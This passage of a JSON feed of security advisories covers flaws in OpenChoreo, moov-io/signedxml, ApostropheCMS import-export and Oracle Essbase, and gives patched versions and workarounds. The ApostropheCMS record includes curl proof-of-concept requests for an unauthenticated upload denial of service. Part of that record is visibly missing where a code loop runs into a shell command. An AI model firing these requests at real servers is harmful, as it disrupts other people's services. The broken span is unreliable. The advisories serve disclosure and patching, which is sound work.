every ownership attribute from it instead of from the request body. Separately, the `openchoreo.dev/project` and `openchoreo.dev/component` labels are now immutable on update, so an authorized caller cannot hand their own run to another project either.\n\n| Line | Affected | Fixed in |\n|---|---|---|\n| 1.0.x | 1.0.0 through 1.0.5 | 1.0.6 |\n| 1.1.x | 1.1.0 through 1.1.6 | 1.1.7 |\n| 1.2.x | 1.2.0 through 1.2.4 | 1.2.5 |\n\nUpgrade to the patched release on your line. No configuration change is needed after upgrading.\n\n## Workarounds\n\nIf you cannot upgrade immediately, restrict who holds `workflowrun:update`.\n\nAudit your `AuthzRole` and `ClusterAuthzRole` definitions for that action and remove it from any role granted to principals you would not trust with write access to every workflow run in the namespace. Among the roles shipped with OpenChoreo, only the system role `workload-publisher` lists `workflowrun:update` explicitly, and `admin` holds it through its `*` wildcard. Custom roles in your own values file may also include it, so check those.\n\nTreat any credential bound to `workload-publisher` as privileged. CI systems are the usual holder, and a leaked CI token is enough to run this.\n\nAffected package ranges reported by GitHub:\ngithub.com/openchoreo/openchoreo: >= 1.0.0, < 1.0.6\ngithub.com/openchoreo/openchoreo: >= 1.1.0, < 1.1.7\ngithub.com/openchoreo/openchoreo: >= 1.2.0, < 1.2.5","action":"GitHub lists first patched versions: github.com/openchoreo/openchoreo: 1.0.6; github.com/openchoreo/openchoreo: 1.1.7; github.com/openchoreo/openchoreo: 1.2.5. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T16:29:53.000Z","updatedAt":"2026-10-23T03:16:31.367Z","regions":["Global"],"vendor":null,"product":"github.com/openchoreo/openchoreo, github.com/openchoreo/openchoreo, github.com/openchoreo/openchoreo","stacks":["Go modules","github.com/openchoreo/openchoreo","go"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113727","asOf":"2026-10-23T03:16:31.367Z"},"epss":{"probability":0.00465,"percentile":0.40013,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113727&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-46r4-q7wv-32fc","url":"https://github.com/advisories/GHSA-46r4-q7wv-32fc","type":"primary","publishedAt":"2026-10-21T16:29:53.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-46r4-q7wv-32fc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-46r4-q7wv-32fc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-46r4-q7wv-32fc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-46r4-q7wv-32fc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-46r4-q7wv-32fc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-46r4-q7wv-32fc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-46r4-q7wv-32fc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-46r4-q7wv-32fc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-46r4-q7wv-32fc, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-113727","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113727","type":"primary","publishedAt":"2026-10-20T22:19:29.570Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113727&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113727, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113729","cveId":"CVE-2026-113729","aliases":["GHSA-5588-rp99-5fjh"],"kind":"vulnerability","title":"Moov signedxml: Unauthenticated denial of service in exclusive XML canonicalization","summary":"Exclusive XML canonicalization (`http://www.w3.org/2001/10/xml-exc-c14n#`) in `github.com/moov-io/signedxml` copied the entire accumulated namespace map at every node during `ValidateReferences()`, before any reference digest or signature check.\n\nFor a chain of nested elements that each declare many unused namespace prefixes, that produced **O(m × depth²)** time and peak memory (`m` = prefixes per level). `beevik/etree` caps tree depth (~1024), but `m` is unbounded, so a small attacker-controlled document (on the order of 1 MB) could drive multi-gigabyte allocations and OOM the process. No valid signature, matching certificate, or authentication is required.","detail":"Exclusive XML canonicalization (`http://www.w3.org/2001/10/xml-exc-c14n#`) in `github.com/moov-io/signedxml` copied the entire accumulated namespace map at every node during `ValidateReferences()`, before any reference digest or signature check.\n\nFor a chain of nested elements that each declare many unused namespace prefixes, that produced **O(m × depth²)** time and peak memory (`m` = prefixes per level). `beevik/etree` caps tree depth (~1024), but `m` is unbounded, so a small attacker-controlled document (on the order of 1 MB) could drive multi-gigabyte allocations and OOM the process. No valid signature, matching certificate, or authentication is required.\n\nThis is the library’s core path for SAML / WS-Federation service providers, which canonicalize attacker-supplied XML prior to authentication.\n\n### Affected\n\n- Package: `github.com/moov-io/signedxml`\n- Function: `ExclusiveCanonicalization` (`exclusivecanonicalization.go`)\n- Verified: **v1.4.0** and current default branch (commit `d79064a`). Earlier v1.2.x–v1.3.x releases are likely affected.\n\n### Remediation\n\nDo not copy the whole namespace map per node. Maintain a single scope and push/pop only the prefixes introduced at each element. Replace linear prefix-in-scope scans with set lookups. Impose a defensive cap on in-scope namespace declarations and return an error rather than allocating unbounded memory.\n\nFrom @shuji-oh \n```\nThanks for the fix — I re-ran my PoC against this branch and confirmed the memory blowup is gone.\n\nBefore (main)\n\n-- Doubling depth each time (m=10 fixed): allocated grows ~4x each time ≈ O(depth^2) --\ndepth=250 m=10 payload= 0.07MB allocated= 45MB\ndepth=500 m=10 payload= 0.14MB allocated= 179MB\ndepth=1000 m=10 payload= 0.27MB allocated= 711MB\n-- Increasing m (depth=1000 fixed): allocated scales roughly linearly with m --\ndepth=1000 m=5 payload= 0.16MB allocated= 377MB\ndepth=1000 m=100 payload= 2.57MB allocated= 6278MB\nAfter (fix/exc-c14n-namespace-dos)\n\n-- Doubling depth each time (m=10 fixed): allocated grows ~4x each time ≈ O(depth^2) --\ndepth=250 m=10 payload= 0.07MB allocated= 2MB\ndepth=500 m=10 payload= 0.14MB allocated= 4MB\ndepth=1000 m=10 payload= 0.27MB allocated= 7MB\n-- Increasing m (depth=1000 fixed): allocated scales roughly linearly with m --\ndepth=1000 m=5 payload= 0.16MB allocated= 4MB\ndepth=1000 m=100 payload= 2.57MB allocated= 47MB\nThat's roughly a 100–130x reduction in peak allocation for the same payload sizes, and no OOM in any of my runs. This looks like it resolves the issue — thanks for the quick fix!\n```\n\n### Credit\n\nReported by Shuji Ohira ([@shuji-oh](https://github.com/shuji-oh)).\n\nAffected package ranges reported by GitHub:\ngithub.com/moov-io/signedxml: <= 1.4.0","action":"GitHub lists first patched versions: github.com/moov-io/signedxml: 1.4.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T16:27:55.000Z","updatedAt":"2026-10-22T16:47:38.403Z","regions":["Global"],"vendor":null,"product":"github.com/moov-io/signedxml","stacks":["Go modules","github.com/moov-io/signedxml","go"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113729","asOf":"2026-10-22T16:47:38.403Z"},"epss":{"probability":0.00459,"percentile":0.395,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113729&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-5588-rp99-5fjh","url":"https://github.com/advisories/GHSA-5588-rp99-5fjh","type":"primary","publishedAt":"2026-10-21T16:27:55.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-5588-rp99-5fjh, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-5588-rp99-5fjh, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-5588-rp99-5fjh, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-5588-rp99-5fjh, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-5588-rp99-5fjh, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-5588-rp99-5fjh, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-5588-rp99-5fjh, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-5588-rp99-5fjh, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-5588-rp99-5fjh, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-113729","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113729","type":"primary","publishedAt":"2026-10-20T22:19:29.887Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113729&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113729, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113711","cveId":"CVE-2026-113711","aliases":["GHSA-86wm-68pq-5jwq"],"kind":"vulnerability","title":"ApostropheCMS: Unauthenticated resource exhaustion via pre-auth aposBigUpload processing in @apostrophecms/import-export","summary":"A potential unauthenticated denial-of-service vulnerability exists in the chunked import upload path used by `@apostrophecms/import-export`.\n\nThe affected import API routes invoke:","detail":"## Summary\n\nA potential unauthenticated denial-of-service vulnerability exists in the chunked import upload path used by `@apostrophecms/import-export`.\n\nThe affected import API routes invoke:\n\n`self.apos.http.bigUploadMiddleware()`\n\nbefore the actual import handler performs its authentication check.\n\nBecause no `authorize` callback is supplied to `bigUploadMiddleware()`, unauthenticated requests can reach the `aposBigUpload` `start`, `chunk`, and `end` operations before the later `req.user` check rejects the import.\n\nAs a result, an unauthenticated remote attacker can create server-side upload state, write chunk data to upload storage, trigger temporary-file processing, and cause attacker-controlled cleanup operations before authentication is enforced.\n\n## Affected Component\n\nPackage:\n\n`@apostrophecms/import-export`\n\nConfirmed affected version:\n\n`3.6.2`\n\nPotential earlier affected versions:\n\nThe issue may affect earlier 3.x releases in which the current big-upload-based import implementation is present. I have not yet fully verified the exact introduction version and recommend that the maintainers confirm the affected version range.\n\n## Vulnerability Type\n\nPrimary:\n\n**CWE-400 — Uncontrolled Resource Consumption**\n\nRelated:\n\n**CWE-306 — Missing Authentication for Critical Function**\n\n**CWE-770 — Allocation of Resources Without Limits or Throttling**\n\n## Technical Details\n\nThe page import route registers the following middleware chain:\n\n`packages/import-export/modules/@apostrophecms/import-export-page/index.js`\n\n```javascript\nimportExportImport: [\n self.apos.http.bigUploadMiddleware(),\n async (req) => {\n return self.apos.modules['@apostrophecms/import-export']\n .import(req, self.__meta.name);\n }\n]\n```\n\nNo `authorize` callback is passed to `bigUploadMiddleware()`.\n\nThe `bigUploadMiddleware()` implementation explicitly supports an `authorize` callback and performs that authorization before processing the `aposBigUpload` protocol when supplied.\n\nWithout that callback, requests containing:\n\n`aposBigUpload[type]=start`\n\n`aposBigUpload[type]=chunk`\n\nor\n\n`aposBigUpload[type]=end`\n\nare processed immediately.\n\nThe actual authentication check occurs later in:\n\n`packages/import-export/lib/methods/import.js`\n\n```javascript\nasync import(req, moduleName) {\n if (!req.user) {\n throw self.apos.error('forbidden');\n }\n```\n\nThis means authentication occurs only after the chunked-upload middleware has already performed server-side work.\n\n## Attack Flow\n\n### 1. Start\n\nAn unauthenticated attacker submits an `aposBigUpload[type]=start` request.\n\nThe server generates an upload ID and stores attacker-supplied upload metadata, including the declared `chunks` count.\n\n### 2. Chunk\n\nThe attacker can upload chunk data.\n\n`bigUploadChunk()` copies attacker-controlled data into:\n\n`/big-uploads/ - - `\n\n### 3. End\n\nThe attacker sends an `aposBigUpload[type]=end` request.\n\n`bigUploadEnd()` begins processing the upload and creates temporary files before invoking the downstream import handler.\n\nOnly after this processing completes does execution reach the later authentication check in `import()`.\n\n### 4. Cleanup amplification\n\nThe attacker-controlled `chunks` value is also used by `bigUploadCleanupOne()`:\n\n```javascript\nfor (const { chunks } of Object.values(bigUpload.files)) {\n for (let i = 0; (i /tmp/chunk.bin\n\ncurl -s -X POST \\\n 'http://localhost:3000/api/v1/@apostrophecms/page/importExportImport?aposBigUpload[type]=chunk&aposBigUpload[id]= &aposBigUpload[n]=0&aposBigUpload[chunk]=0' \\\n -F 'chunk=@/tmp/chunk.bin;type=application/octet-stream'\n```\n\nThe request succeeds and causes server-side upload storage to be used.\n\n### Finalize the upload\n\n```bash\ncurl -i -X POST \\\n 'http://localhost:3000/api/v1/@apostrophecms/page/importExportImport?aposBigUpload[type]=end&aposBigUpload[id]= '\n```\n\nObserved behavior:\n\n* `start` returns HTTP 200 and an upload ID without authentication.\n* `chunk` returns HTTP 200 and results in server-side chunk storage.\n* `end` eventually reaches the downstream authentication check and is rejected.\n* However, the server-side big-upload processing has already occurred before that authentication rejection.\n\nIn my isolated harness:\n\n* `chunks=1` resulted in one cleanup removal attempt.\n* `chunks=50` resulted in 50 cleanup removal attempts.\n\nThis demonstrates that the attacker-controlled chunk count directly influences server-side cleanup work.\n\n## Security Impact\n\nThe vulnerability allows an unauthenticated remote attacker to cause server-side storage and filesystem operations that should only be reachable by authorized import users.\n\nPossible consequences include:\n\n* Consumption of upload and temporary storage.\n* Creation of server-side upload state by unauthenticated users.\n* Repeated filesystem I/O.\n* Cleanup amplification based on attacker-controlled chunk counts.\n* Potential service degradation or denial of service when the attack is repeated or sufficiently amplified.\n\n## Root Cause\n\nAuthentication is enforced in the downstream import handler rather than before the chunked-upload middleware.\n\nThe middleware itself already supports an `authorize` callback specifically for preventing unauthorized use of the big-upload functionality.\n\n## Suggested Remediation\n\nRequire authentication before any `aposBigUpload` operation is processed.\n\nFor example:\n\n* Pass an appropriate `authorize` callback to `bigUploadMiddleware()` on all import routes.\n* Reject unauthenticated users before `start`, `chunk`, or `end`.\n* Enforce reasonable limits on declared chunk counts.\n* Validate declared size against actual uploaded data.\n* Introduce per-user and global storage/rate limits.\n* Ensure temporary files are removed when downstream processing fails.\n* Add regression tests confirming that anonymous `start`, `chunk`, and `end` requests are rejected before upload state or files are created.\n\nRelevant reviewed commit:\n\n`d3ff8c9bb001be1acf7fdc3f035190250ac64b45`\n\n## Researcher Credit\n\n**Kai Zhi**\n\nGitHub:\n\n**https://github.com/\n\nAffected package ranges reported by GitHub:\napostrophe: < 4.33.0\n@apostrophecms/import-export: < 3.7.0","action":"GitHub lists first patched versions: apostrophe: 4.33.0; @apostrophecms/import-export: 3.7.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T13:51:21.000Z","updatedAt":"2026-10-21T13:51:22.000Z","regions":["Global"],"vendor":null,"product":"apostrophe, @apostrophecms/import-export","stacks":["JavaScript packages (npm)","apostrophe","@apostrophecms/import-export","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://github.com/advisories/GHSA-86wm-68pq-5jwq","asOf":"2026-10-21T13:51:22.000Z"},"epss":{"probability":0.00561,"percentile":0.46387,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113711&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-86wm-68pq-5jwq","url":"https://github.com/advisories/GHSA-86wm-68pq-5jwq","type":"primary","publishedAt":"2026-10-21T13:51:21.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-86wm-68pq-5jwq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-86wm-68pq-5jwq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-86wm-68pq-5jwq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-86wm-68pq-5jwq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-86wm-68pq-5jwq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-86wm-68pq-5jwq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-86wm-68pq-5jwq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-86wm-68pq-5jwq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-86wm-68pq-5jwq, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-113711","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113711","type":"primary","publishedAt":"2026-10-20T18:17:21.290Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113711&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113711, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91664","cveId":"CVE-2026-91664","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Essbase (component: Security).","summary":"Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Essbase.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Essbase. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).","detail":"Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Essbase.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Essbase. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:21:06.847Z","updatedAt":"2026-10-23T17:15:47.933Z","regions":["Global"],"vendor":"oracle","product":"essbase","stacks":["Oracle","essbase"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91664","asOf":"2026-10-23T17:15:47.933Z"},"epss":{"probability":0.00286,"percentile":0.20881,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91664&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI 